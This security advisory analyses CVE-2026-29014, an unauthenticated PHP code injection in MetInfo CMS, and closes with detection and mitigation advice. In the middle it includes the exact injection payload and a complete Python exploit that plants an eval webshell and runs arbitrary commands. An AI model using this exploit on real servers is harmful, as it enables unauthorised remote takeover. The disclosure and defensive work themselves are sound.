
CVE-2026-29014 is a critical unauthenticated PHP code injection vulnerability in MetInfo CMS, affecting versions 7.9.0 through 8.1.0. Public advisory material describes the issue as a remote code execution condition caused by insufficient input neutralization in the execution path. The vulnerable behavior is exposed through the WeChat related request handler at /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi, where attacker-controlled input can be written into a PHP cache file and later executed.
The public technical evidence is unusually strong. The advisory from Karma(In)Security includes vulnerable code excerpts, identifies the affected class and method (weixinreply.class.php, wxAdminLogin()), and links to a public proof of concept. The available PoC material indicates a multi-stage unauthenticated exploit path that first injects PHP into a cache-backed file and then triggers command execution. VulnCheck also tracks public exploit availability for this issue.
For internet-exposed MetInfo CMS deployments using affected versions, this is an initial access and full server compromise risk.
- CVE:
CVE-2026-29014 - Severity: Critical
- CVSS:
9.3 - CWE:
CWE-94, Improper Control of Generation of Code - Vendor: MetInfo CMS
- Product: MetInfo CMS
- Affected versions:
7.9.0 <= 8.1.0 - Attack surface: Remote, unauthenticated
- Impact: Arbitrary PHP code execution, remote code execution, potential full control of the affected server
- Known public PoC: Yes
- Likely ATT&CK mapping:
T1190, Exploit Public-Facing Application
This vulnerability matters because it combines three properties defenders should treat as high priority: no authentication requirement, direct code injection into PHP execution flow, and public exploit availability.
The advisory states that remote attackers can execute arbitrary code by sending crafted requests containing malicious PHP code. The vulnerable code path shows why that claim is credible. In the wxAdminLogin() method, attacker-controlled data from FromUserName is passed into cache::put() using a cache key derived from login_code:
public function wxAdminLogin($data = array(),$code = '')
{
global $_M;
$weixinapi = load::mod_class('weixin/weixinapi','new');
$login_code = cache::get("weixin/".$code);
if ($login_code) {
cache::put("weixin/".$login_code,$data['FromUserName']);
}
return;
}
The corresponding cache writer is also documented publicly:
public static function put($file, $data, $type = 'php')
{
global $_M;
load::sys_func('file');
$save = PATH_CACHE . $file . '.' . $type;
makefile($save);
#$data = str_replace(array("\"", "\\"), array("\\\"", "\\\\"), $data);
if (!is_array($data)) {
file_put_contents($save, "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache=\"{$data}\";\n?>");
} else {
$info = var_export($data, true);
$info = "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache = {$info};\n?>";
file_put_contents($save, $info);
}
}
The commented-out str_replace() line is especially important. Based on the published code, string data is written into a PHP file inside a double-quoted assignment without neutralizing dangerous characters first. That is the core condition that turns a cache write into a code injection primitive.
The root cause is unsafe generation of executable PHP content from untrusted input.
Two implementation details from the published code explain the issue:
wxAdminLogin()writes attacker-controlledFromUserNameinto the cache layer.cache::put()persists non-array input as a PHP file using string interpolation:
$cache="{$data}";
Because the function writes a .php file and embeds the supplied value directly into PHP source, any failure to neutralize metacharacters can let an attacker break out of the intended string context and inject executable PHP. The advisory explicitly characterizes the issue as an unauthenticated PHP code injection vulnerability, and the code excerpt supports that classification.
The same function also constructs the destination path as:
$save = PATH_CACHE . $file . '.' . $type;
The public PoC indicators suggest that the exploit path does not rely only on code injection in the value, but also on controlling the cache filename through the login_code flow. The stage markers adminlogin&../config/tables and adminlogin&Array strongly indicate that the attacker influences the cache key used by cache::put("weixin/".$login_code, ...), allowing traversal-like behavior in the generated cache path. The public exploit logic therefore appears to combine path manipulation with PHP code injection to place attacker-controlled PHP where it can be executed in a useful way.
The public exploit evidence points to the following request handler:
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi
The exploit flow described by the public PoC is multi-stage.
The structured PoC evidence preserves the exact payload marker:
event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}
The same evidence shows a custom header named C, whose value is base64-decoded by the injected PHP. The generated validation artifact based on the public PoC uses that header to deliver code such as:
file_put_contents("cache/weixin/Array.php", "<?php eval($_GET[c]); ?>");
This is consistent with the vulnerable code path. FromUserName reaches cache::put(), and the resulting PHP file content can be influenced so that attacker-supplied PHP executes during subsequent processing.
The public stage markers also include a second request body:
event SCAN adminlogin&Array
The available exploit notes indicate that this second request is used to set up or reference the Array cache file path, after which the injected PHP can be reached in a stable way. The exact internal control flow beyond the published snippets is not fully documented in the public advisory text, so it is more accurate to say that the exploit uses a two-request sequence involving ../config/tables and Array to steer cache creation and execution, rather than to overstate undocumented internals.
The public PoC markers include the output delimiter _____ and a PHP command wrapper of the form:
chdir('../..'); print '_____'; passthru(base64_decode('%s')); print '_____';
That wrapper is then base64-encoded and sent through the same injection mechanism using the C header. The exploit checks for success during the injection phase and later extracts command output between the _____..._____ markers.
This is enough to conclude that the public exploit path is not merely theoretical. It is designed to move from code injection to operating system command execution in a repeatable way.
This article and source code are intended strictly for educational and security research purposes. Misuse for malicious purposes, including unauthorised system access or malware development, is explicitly prohibited. By using this material you agree to our Terms and Conditions. All use is at your own risk.
A public PoC is available from Karma(In)Security:
https://karmainsecurity.com/pocs/CVE-2026-29014.php
The public material supports these concrete reproduction details:
- Endpoint:
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi - Unauthenticated attack surface
- Multi-stage request flow
- Stage markers:
adminlogin&../config/tablesandadminlogin&Array - Header used for payload transport:
C - Success indicators:
successand output wrapped in_____
One operational note from the generated validation artifact is worth preserving carefully: it states that exploitation requires the /cache/weixin/ directory to exist, which would be expected when the WeChat plugin is installed. That aligns with the vulnerable code path using weixin/ cache keys, but public source excerpts do not fully document all deployment prerequisites. In practice, defenders should assume systems exposing the WeChat module path are at risk.
The following
PoC Exploit by WebSechas not been tested against a live target. It is based on public references, advisories, commits, and other cited material, and is provided to explain likely exploitability and validation logic.
The following compact validation script follows the public exploit sequence and is based on the published advisory, PoC indicators, and cited code path. It has not been tested by WebSec and should be treated as a research aid for authorised validation only.
#!/usr/bin/env python3
import requests
import urllib3
import sys
import base64
import re
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def stage1_inject_webshell(target_url):
endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
url = target_url.rstrip('/') + endpoint
payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'C': base64.b64encode(b'file_put_contents("cache/weixin/Array.php", "<?php eval($_GET[c]); ?>");').decode()
}
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
return "success" in response.text.lower() or response.status_code == 200
except requests.exceptions.RequestException:
return False
def stage2_setup_array_cache(target_url):
endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
url = target_url.rstrip('/') + endpoint
payload = 'event SCAN adminlogin&Array'
try:
response = requests.post(url, data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded'}, verify=False, timeout=10)
return response.status_code == 200
except requests.exceptions.RequestException:
return False
def execute_command(target_url, command):
endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
url = target_url.rstrip('/') + endpoint
encoded_cmd = base64.b64encode(command.encode()).decode()
phpcode = f"chdir('../..'); print '_____'; passthru(base64_decode('{encoded_cmd}')); print '_____';"
payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'C': base64.b64encode(phpcode.encode()).decode()
}
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
match = re.search(r'_____(.*)_____', response.text, re.DOTALL)
return match.group(1).strip() if match else None
except requests.exceptions.RequestException:
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('target')
parser.add_argument('-c', '--command', default='id')
args = parser.parse_args()
target = args.target if args.target.startswith(('http://', 'https://')) else 'http://' + args.target
if not stage1_inject_webshell(target):
sys.exit(1)
if not stage2_setup_array_cache(target):
sys.exit(1)
output = execute_command(target, args.command)
if output is not None:
print(output)
if __name__ == '__main__':
main()
This article and source code are intended strictly for educational and security research purposes. Misuse for malicious purposes, including unauthorised system access or malware development, is explicitly prohibited. By using this material you agree to our Terms and Conditions. All use is at your own risk.
- CWE-94: Improper Control of Generation of Code
- ATT&CK
T1190: Exploit Public-Facing Application
The ATT&CK mapping fits the public description closely. The vulnerable component is a web-exposed application endpoint, exploitation is unauthenticated, and the result is server-side code execution.
Based on the public exploit path, defenders should focus on the following:
- Review HTTP traffic to
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi. - Look for request bodies containing the public exploit markers:
event SCAN adminlogin&../config/tablesevent SCAN adminlogin&Array
- Inspect requests carrying an unusual custom header named
C. - Search web and application logs for responses containing
successin the context of the WeChat API handler. - Hunt for files created under cache paths associated with
weixin, especially suspicious PHP files such ascache/weixin/Array.php. - Review file integrity changes in cache directories for embedded PHP such as
eval(base64_decode(,passthru(, or unexpectedfile_put_contents(patterns.
- Upgrade away from affected versions
7.9.0through8.1.0as soon as a vendor fix is available. - Restrict exposure of MetInfo CMS administrative and module endpoints to trusted networks where possible.
- If the WeChat module is not required, reduce exposure to the related endpoint and monitor any access attempts.
- Treat any confirmed exploitation as a full server compromise event. The public advisory states that attackers can gain full control over the affected server.
Because the public exploit path writes executable PHP into cache-backed locations, incident response should include filesystem review, credential rotation, and broader host compromise assessment rather than only web application cleanup.
The vulnerability was discovered by Egidio Romano.
- Karma(In)Security, MetInfo CMS <= 8.1 (
weixinreply.class.php) PHP Code Injection Vulnerability: https://karmainsecurity.com/KIS-2026-06 - Public PoC referenced by the advisory: https://karmainsecurity.com/pocs/CVE-2026-29014.php
- MetInfo CMS vendor site: https://www.metinfo.cn/
- VulnCheck advisory, MetInfo CMS Unauthenticated PHP Code Injection RCE: https://www.vulncheck.com/advisories/metinfo-cms-unauthenticated-php-code-injection-rce
